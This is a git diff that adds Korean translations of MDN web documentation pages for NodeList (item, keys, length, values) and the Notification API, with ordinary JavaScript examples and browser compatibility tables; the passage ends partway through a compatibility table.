+<pre class="brush: js notranslate">var list = document.querySelectorAll( 'input[type=checkbox]' );
+for (var item of list) {
+ item.checked = true;
+}</pre>
+
+<p>최신 브라우저는 반복자(iterator) 메서드인 {{domxref("NodeList.forEach()", "forEach()")}}만이 아니라, {{domxref("NodeList.entries()", "entries()")}}, {{domxref("NodeList.values()", "values()")}}, {{domxref("NodeList.keys()", "keys()")}} 까지도 지원합니다.</p>
+
+<p>인터넷 익스플로러의 호환을 위해서는 {{jsxref("Array.forEach()", "Array.prototype.forEach")}} 를 사용하는 방법도 있습니다.</p>
+
+<pre class="brush: js notranslate"><code>var list = document.querySelectorAll( 'input[type=checkbox]' );
+Array.prototype.forEach.call(list, function (item) {
+ item.checked = true;
+});</code>
+</pre>
+
+<h2 id="Array로_변환하는_법">Array로 변환하는 법</h2>
+
+<p>NodeList의 컨텐츠를 Array의 메소드를 통해 다루는 것이 더 쉬울 때도 있다. 아래는 NodeList 객체를 Array로 변환하는 기법이다.</p>
+
+<pre class="brush: js notranslate">var div_list = document.querySelectorAll('div'); // returns NodeList
+var div_array = Array.prototype.slice.call(div_list); // converts NodeList to Array</pre>
+
+<h2 id="Specifications" name="Specifications">NodeList prototype</h2>
+
+<p>NodeList에 프로토타입을 추가할 수도 있다.</p>
+
+<pre class="brush: js notranslate"><code>var elements = document.querySelectorAll(".suggestions");
+
+NodeList.prototype.addEventListener = function(event, func) {
+ this.forEach(function(content, item) {
+ content.addEventListener(event, func);
+ });
+}
+
+function log() {
+ console.log(this, " was clicked");
+}
+
+elements.addEventListener("click", log);
+//or
+elements.addEventListener("click", function() {
+ console.log(this, " awas clicked");
+});
+// 클릭된 요소로부터 출력될 요소는 둘 모두 HTML 요소가 된다.</code></pre>
+
+<p><font face="consolas, Liberation Mono, courier, monospace">forEach에 대한 자세한 내용은 </font><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach" title="Web/JavaScript/Reference/Global_Objects/Array/forEach">Array.prototype.forEach()</a>를 참조하길 바란다.</p>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#interface-nodelist', 'NodeList')}}</td>
+ <td>{{ Spec2('DOM WHATWG') }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core', 'core.html#ID-536297177', 'NodeList')}}</td>
+ <td>{{ Spec2('DOM3 Core') }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Core', 'core.html#ID-536297177', 'NodeList')}}</td>
+ <td>{{ Spec2('DOM2 Core') }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-core.html#ID-536297177', 'NodeList')}}</td>
+ <td>{{ Spec2('DOM1') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.NodeList")}}</p>
diff --git a/files/ko/web/api/nodelist/item/index.html b/files/ko/web/api/nodelist/item/index.html
new file mode 100644
index 0000000000..8e46ba48f4
--- /dev/null
+++ b/files/ko/web/api/nodelist/item/index.html
@@ -0,0 +1,44 @@
+---
+title: NodeList.item()
+slug: Web/API/NodeList/item
+translation_of: Web/API/NodeList/item
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p class="summary"><a href="/en-US/docs/Web/API/NodeList"><code>NodeList</code></a> 의 node를 index로 돌려줍니다. 이 메서드는 인수(arguments)를 제공하는 한 exceptions 을 throw 하지 않습니다. index가 범위를 벗어나면 <code>null</code> 값이 반환되고, 인수가 제공되지 않으면 <code>TypeError</code> 가 throw 됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>nodeItem</em> = <em>nodeList</em>.item(<em>index</em>)
+</pre>
+
+<ul>
+ <li><code>nodeList</code> 는 <code>NodeList</code> 입니다. 일반적으로 <a href="/en-US/docs/Web/API/Node/childNodes" title="childNodes">childNodes</a> 와 같은 다른 DOM 속성(property) 또는 메서드에서 가져옵니다.</li>
+ <li><code>index</code> 는 fetch될 node의 index입니다. index는 0 에서 부터 시작합니다.</li>
+ <li><code>nodeItem</code> 은 <code>item</code> 메서드가 반환 한 <code>nodeList</code> 의 node <code>index</code> 입니다.</li>
+</ul>
+
+<h2 id="Alternate_Syntax">Alternate Syntax</h2>
+
+<p>자바스크립트는 NodeList 에서 index를 얻기 위한, 배열과 같은 브라켓 문법([])을 제공합니다 :</p>
+
+<pre class="eval"><em>nodeItem</em> = <em>nodeList</em>[<em>index</em>]
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var tables = document.getElementsByTagName("table");
+var firstTable = tables.item(1); // or simply tables[1] - returns the <strong>second</strong> table in the DOM
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<p><a class="external" href="https://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-item">DOM Level 1 Core: NodeList.item()</a></p>
+
+<p><a class="external" href="https://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-844377136">DOM Level 2 Core: NodeList.item()</a></p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NodeList.item")}}</p>
diff --git a/files/ko/web/api/nodelist/keys/index.html b/files/ko/web/api/nodelist/keys/index.html
new file mode 100644
index 0000000000..36160b9e1b
--- /dev/null
+++ b/files/ko/web/api/nodelist/keys/index.html
@@ -0,0 +1,72 @@
+---
+title: NodeList.keys()
+slug: Web/API/NodeList/keys
+translation_of: Web/API/NodeList/keys
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code><strong>NodeList.keys()</strong></code> 메서드는 이 객체에 포함된 모든 키를 통과할 수 있는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 이 키는 부호없는 정수형(<code>unsigned integer</code>) 입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">nodeList.keys();</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[13]">var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Using for..of
+for(var key of list.keys()) {
+ console.log(key);
+}
+</pre>
+
+<p>결과는 다음과 같습니다 :</p>
+
+<pre>0
+1
+2
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG','#interface-nodelist','keys() (as iterable)')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NodeList.keys")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ko/web/api/nodelist/length/index.html b/files/ko/web/api/nodelist/length/index.html
new file mode 100644
index 0000000000..4e931dd73e
--- /dev/null
+++ b/files/ko/web/api/nodelist/length/index.html
@@ -0,0 +1,35 @@
+---
+title: element.length
+slug: Web/API/NodeList/length
+tags:
+ - DOM
+ - Gecko
+ - Gecko DOM Reference
+translation_of: Web/API/NodeList/length
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+<p><code>length</code>는 <code>NodeList</code>의 항목수를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval"><i>numItems</i> =<i>nodeList</i>.length
+</pre>
+<ul>
+ <li><code>numItems</code>은 <code>NodeList</code>의 항목수를 나타내는 정수값입니다.</li>
+</ul>
+<h3 id=".EC.98.88" name=".EC.98.88">예</h3>
+<pre>// 문서의 모든 paragraph
+var items = document.getElementsByTagName("p");
+// 목록의 각 항목에,
+// HTML의 문자열로 전체 요소를 추가
+var gross = "";
+for (var i = 0; i &lt; items.length; i++) {
+ gross += items[i].innerHTML;
+}
+// gross는 이제 모두 paragraph을 위한 HTML
+</pre>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>reference에서 이 페이지의 위치에도 불구하고, <code>length</code>는 <a href="ko/DOM/element">Element</a>의 프로퍼티가 아니고, <code>NodeList</code>의 프로퍼티입니다. NodeList 개체는 <a href="ko/DOM/document.getElementsByTagName">document.getElementsByTagName</a>과 같은 많은 DOM 메소드에서 반환됩니다.</p>
+<p><code>length</code>는 DOM 프로그래밍에서 아주 흔한 프로퍼티입니다. 위 예에서처럼 목록의 길이(적어도 있는 지 보기 위해)를 조사하고 for 루프에서 훑개(반복자, iterator)로 널리 쓰입니다.</p>
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-203510337">length</a></p>
+<p>{{ languages( { "en": "en/DOM/element.length", "pl": "pl/DOM/element.length" } ) }}</p>
diff --git a/files/ko/web/api/nodelist/values/index.html b/files/ko/web/api/nodelist/values/index.html
new file mode 100644
index 0000000000..5613e630ae
--- /dev/null
+++ b/files/ko/web/api/nodelist/values/index.html
@@ -0,0 +1,72 @@
+---
+title: NodeList.values()
+slug: Web/API/NodeList/values
+translation_of: Web/API/NodeList/values
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code><strong>NodeList.values()</strong></code> 메서드는 이 객체에 포함된 모든 값을 통과할 수 있는 {{jsxref("Iteration_protocols",'iterator')}}를 반환합니다. 값은 {{domxref("Node")}} 객체 입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">nodeList.values();</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[13]">var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Using for..of
+for(var value of list.values()) {
+ console.log(value);
+}
+</pre>
+
+<p>결과는 다음과 같습니다 :</p>
+
+<pre>&lt;p&gt;
+#text "hey"
+&lt;span&gt;
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG','#interface-nodelist','values() (as iterable&lt;Node&gt;)')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NodeList.values")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ko/web/api/notification/index.html b/files/ko/web/api/notification/index.html
new file mode 100644
index 0000000000..1fb845f94d
--- /dev/null
+++ b/files/ko/web/api/notification/index.html
@@ -0,0 +1,493 @@
+---
+title: Notification
+slug: Web/API/notification
+translation_of: Web/API/Notification
+---
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Notifications_API">Notifications API</a>의 <code>Notification</code> 인터페이스는 사용자에게 데스크톱 알림을 설정하고 보여주는데 사용됩니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Method_overview" name="Method_overview">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("Notification.Notification", "Notification()")}}</dt>
+ <dd>새 <code>Notification</code> 객체 인스턴스를 생성합니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<h3 id="Static_properties">Static properties</h3>
+
+<p>이 속성은 <code>Notification</code> 객체 안에만 존재합니다.</p>
+
+<dl>
+ <dt>{{domxref("Notification.permission")}} {{readonlyinline}}</dt>
+ <dd>알림을 표시하기 위한 현재의 권한을 나타낸다. 가능한 값: <code>denied</code> (사용자가 알림 표시를 거절), <code>granted</code> (사용자가 알림 표시를 허용), <code>default</code> (사용자의 선택을 알 수 없기 때문에 브라우저가 거절한 상태의 값으로 작동하게됨).</dd>
+</dl>
+
+<h3 id="Instance_properties">Instance properties</h3>
+
+<p>이 속성은 <code>Notification</code> 객체의 인스턴스 안에만 존재합니다.</p>
+
+<dl>
+ <dt>{{domxref("Notification.actions")}} {{readonlyinline}}</dt>
+ <dd>생성자의 옵션 파라메터 안에 명시된 알림의 액션 배열입니다.</dd>
+ <dt>{{domxref("Notification.badge")}} {{readonlyinline}}</dt>
+ <dd>알림을 나타낼 충분한 여유 공간이 없을 때에 알림을 표시하는 이미지의 URL입니다.</dd>
+ <dt>{{domxref("Notification.body")}} {{readonlyinline}}</dt>
+ <dd>생성자의 옵션 파라메터 안에 명시된 알림의 본문입니다.</dd>
+ <dt>{{domxref("Notification.data")}} {{readonlyinline}}</dt>
+ <dd>알림 데이타의 구조화된 복사본을 반환합니다.</dd>
+ <dt>{{domxref("Notification.dir")}} {{readonlyinline}}</dt>
+ <dd>생성자의 옵션 파라메터 안에 명시된 알림 글의 방향입니다.</dd>
+ <dt>{{domxref("Notification.lang")}} {{readonlyinline}}</dt>
+ <dd>생성자의 옵션 파라메터 안에 명시된 알림의 언어 코드입니다.</dd>
+ <dt>{{domxref("Notification.tag")}} {{readonlyinline}}</dt>
+ <dd>생성자의 옵션 파라메터 안에 명시된 경우 알림의 ID입니다.</dd>
+ <dt>{{domxref("Notification.icon")}} {{readonlyinline}}</dt>
+ <dd>생성자의 옵션 파라메터 안에 명시된 알림의 아이콘으로 사용될 이미지의 URL입니다.</dd>
+ <dt>{{domxref("Notification.image")}} {{readonlyinline}}</dt>
+ <dd>생성자의 옵션 파라메터 안에 명시된 알림의 일부분으로 표시될 이미지의 URL입니다.</dd>
+ <dt>{{domxref("Notification.requireInteraction")}} {{readonlyinline}}</dt>
+ <dd>자동으로 닫히지 않고 사용자가 클릭할 때 까지 활성화 된 채로 남아 있어야 함을 나타내는 {{jsxref("Boolean")}} 값입니다.</dd>
+ <dt>{{domxref("Notification.silent")}} {{readonlyinline}}</dt>
+ <dd>기기의 설정과 상관없이 소리가 없거나 진동이 울려야 한다는 등 알림이 조용해야 하는지를 나타냅니다.</dd>
+ <dt>{{domxref("Notification.timestamp")}} {{readonlyinline}}</dt>
+ <dd>알림이 생성되었거나 적용 가능한(과거, 현재, 미래) 시간을 나타냅니다.</dd>
+ <dt>{{domxref("Notification.title")}} {{readonlyinline}}</dt>
+ <dd>생성자의 첫번째 파라메터에 명시된 알림의 제목입니다.</dd>
+ <dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt>
+ <dd>진동기가 있는 기기가 나타내야할 진동 패턴을 나타냅니다.</dd>
+ <dt>
+ <h4 id="Unsupported_properties">Unsupported properties</h4>
+
+ <p>아래의 속성은 최신 명세에는 등록되어 있지만 아직 구현한 브라우저가 없는 속성입니다. 현재의 상태에서 변경된 사항은 없는지 계속 확인해보아야 하는 내용이고 오래된 내용이 있으면 알려주시기 바랍니다.</p>
+ </dt>
+ <dt>{{domxref("Notification.noscreen")}} {{readonlyinline}}</dt>
+ <dd>알림이 기기의 화면을 활성화해야 하는지를 나타냅니다.</dd>
+ <dt>{{domxref("Notification.renotify")}} {{readonlyinline}}</dt>
+ <dd>새 알림이 오래된 알림을 교체할 때 사용자에게 알려야 하는지를 나타냅니다.</dd>
+ <dt>{{domxref("Notification.sound")}} {{readonlyinline}}</dt>
+ <dd>기본 시스템 설정 알림 소리를 대신할 알림 소리로 사용될 소리 자원을 나타냅니다.</dd>
+ <dt>{{domxref("Notification.sticky")}} {{readonlyinline}}</dt>
+ <dd>사용자가 쉽게 제거할 수 없게 '달라붙어'있어야 하는지를 나타냅니다.</dd>
+</dl>
+
+<h4 id="Event_handlers">Event handlers</h4>
+
+<dl>
+ <dt>{{domxref("Notification.onclick")}}</dt>
+ <dd>{{event("click")}} 이벤트에 대한 핸들러입니다. 사용자가 알림을 클릭할 때 마다 호출됩니다.</dd>
+ <dt>{{domxref("Notification.onerror")}}</dt>
+ <dd>{{event("error")}} 이벤트에 대한 핸들러입니다. 알림에 오류가 발생할 때 마다 호출됩니다.</dd>
+</dl>
+
+<h4 id="Obsolete_handlers">Obsolete handlers</h4>
+
+<p>아래의 이벤트 핸들러는 {{anch("browser compatibility")}} 섹션에 나타난 대로 아직 지원되지만 현재 명세에 없는 내용입니다. 폐지된 것으로 생각해야 하고 앞으로 나올 브라우저에서는 작동하지 않을 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("Notification.onclose")}}</dt>
+ <dd>{{event("close")}} 이벤트에 대한 핸들러입니다. 사용자가 알림을 닫을 때 호출됩니다.</dd>
+ <dt>{{domxref("Notification.onshow")}}</dt>
+ <dd>{{event("show")}} 이벤트에 대한 핸들러입니다. 알림이 표시될 때 호출됩니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<h3 id="Static_methods">Static methods</h3>
+
+<p>이 메서드는 <code>Notification</code> 객체에만 존재합니다.</p>
+
+<dl>
+ <dt>{{domxref("Notification.requestPermission()")}}</dt>
+ <dd>이 메서드는 페이지에서 알림을 표시할지 요청하는데 사용됩니다.</dd>
+</dl>
+
+<h3 id="Instance_methods">Instance methods</h3>
+
+<p>이 메서드는 <code>Notification</code> 객체의 인스턴스나 그 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain"><code>prototype</code></a>에만 존재합니다. <code>Notification</code> 객체는 또한 {{domxref("EventTarget")}} 인터페이스를 상속 받습니다.</p>
+
+<dl>
+ <dt>{{domxref("Notification.close()")}}</dt>
+ <dd>프로그램으로 알림을 닫습니다.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>다음과 같은 기본 HTML이 있을 때:</p>
+
+<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>notifyMe()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Notify me!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>다음과 같이 알림을 보낼 수 있습니다. 알림이 지원되는지 우선 확인해 볼 때 사용할 수 있는 풍부하게 완성된 예제코드입니다. 그 다음에 현재 페이지에서 알림을 보낼 수 있게 권한이 있는지를 확인하고 알림을 보내기 전에 권한이 필요하면 요청을 합니다.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">notifyMe</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token">// Let's check if the browser supports notifications</span>
+ <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span><span class="punctuation token">(</span><span class="string token">"Notification"</span> <span class="keyword token">in</span> window<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">"This browser does not support desktop notification"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+
+ <span class="comment token">// Let's check whether notification permissions have already been granted</span>
+ <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>Notification<span class="punctuation token">.</span>permission <span class="operator token">===</span> <span class="string token">"granted"</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token">// If it's okay let's create a notification</span>
+ <span class="keyword token">var</span> notification <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Notification</span><span class="punctuation token">(</span><span class="string token">"Hi there!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+
+ <span class="comment token">// Otherwise, we need to ask the user for permission</span>
+ <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>Notification<span class="punctuation token">.</span>permission <span class="operator token">!==</span> <span class="string token">'denied'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ Notification<span class="punctuation token">.</span><span class="function token">requestPermission</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>permission<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="comment token">// If the user accepts, let's create a notification</span>
+ <span class="keyword token">if</span> <span class="punctuation token">(</span>permission <span class="operator token">===</span> <span class="string token">"granted"</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">var</span> notification <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Notification</span><span class="punctuation token">(</span><span class="string token">"Hi there!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+ <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+
+ <span class="comment token">// At last, if the user has denied notifications, and you </span>
+ <span class="comment token">// want to be respectful there is no need to bother them any more.</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>{{EmbedLiveSample('Example', '100%', 30)}}</p>
+
+<p>많은 경우에 이렇게 장황할 필요는 없습니다. 예를 들어 <a href="http://mdn.github.io/emogotchi/">Emogotchi 데모</a>(<a href="https://github.com/mdn/emogotchi">소스코드</a>)에서는 단순히 알림을 보내기 위해서 권한을 얻을 수 있는지와 상관없이 {{domxref("Notification.requestPermission")}}를 실행합니다(이 경우는 새로운 프로미스 기반 메서드 문법을 사용):</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">Notification<span class="punctuation token">.</span><span class="function token">requestPermission</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>result<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>result<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>그 다음에 알림이 필요한 때에 단순히 <code>spawnNotification()</code> 함수를 실행합니다. 본문과 아이콘, 제목을 인자로 넘기면 필요한 <code>options</code> 객체를 만들고 {{domxref("Notification.Notification","Notification()")}} 생성자를 사용해서 알림을 발생시킵니다.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">spawnNotification</span><span class="punctuation token">(</span>theBody<span class="punctuation token">,</span>theIcon<span class="punctuation token">,</span>theTitle<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">var</span> options <span class="operator token">=</span> <span class="punctuation token">{</span>
+ body<span class="punctuation token">:</span> theBody<span class="punctuation token">,</span>
+ icon<span class="punctuation token">:</span> theIcon
+ <span class="punctuation token">}</span>
+ <span class="keyword token">var</span> n <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Notification</span><span class="punctuation token">(</span>theTitle<span class="punctuation token">,</span>options<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Notifications')}}</td>
+ <td>{{Spec2('Web Notifications')}}</td>
+ <td>Living standard</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+ 22</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+ 22</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>6<sup>[3]</sup></td>
+ </tr>
+ <tr>
+ <td><code>icon</code></td>
+ <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+ 22</td>
+ <td>{{CompatUnknown}}</td>
+ <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+ 22</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Available in workers</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("41.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>silent</code></td>
+ <td>{{CompatChrome(43.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>noscreen</code>, <code>sticky</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>sound</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>renotify</code></td>
+ <td>{{CompatChrome(50.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Promise-based <code>Notification.requestPermission()</code></td>
+ <td>{{CompatChrome(46.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("47.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatOpera(40)}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>vibrate</code>, <code>actions</code></td>
+ <td>{{CompatChrome(53.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td> </td>
+ <td> </td>
+ <td>{{CompatOpera(39)}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><code>badge</code></td>
+ <td>{{CompatChrome(53.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td> </td>
+ <td> </td>
+ <td>{{CompatOpera(39)}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><code>image</code></td>
+ <td>{{CompatChrome(55.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td> </td>
+ <td> </td>
+ <td>{{CompatUnknown}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>
+ <p>{{CompatVersionUnknown}}</p>
+ </td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+ 22</td>
+ <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+ 1.2</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>
+ <p>{{CompatVersionUnknown}}</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>icon</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+ 22</td>
+ <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+ 1.2</td>
+ <td>{{CompatNo}}</td>
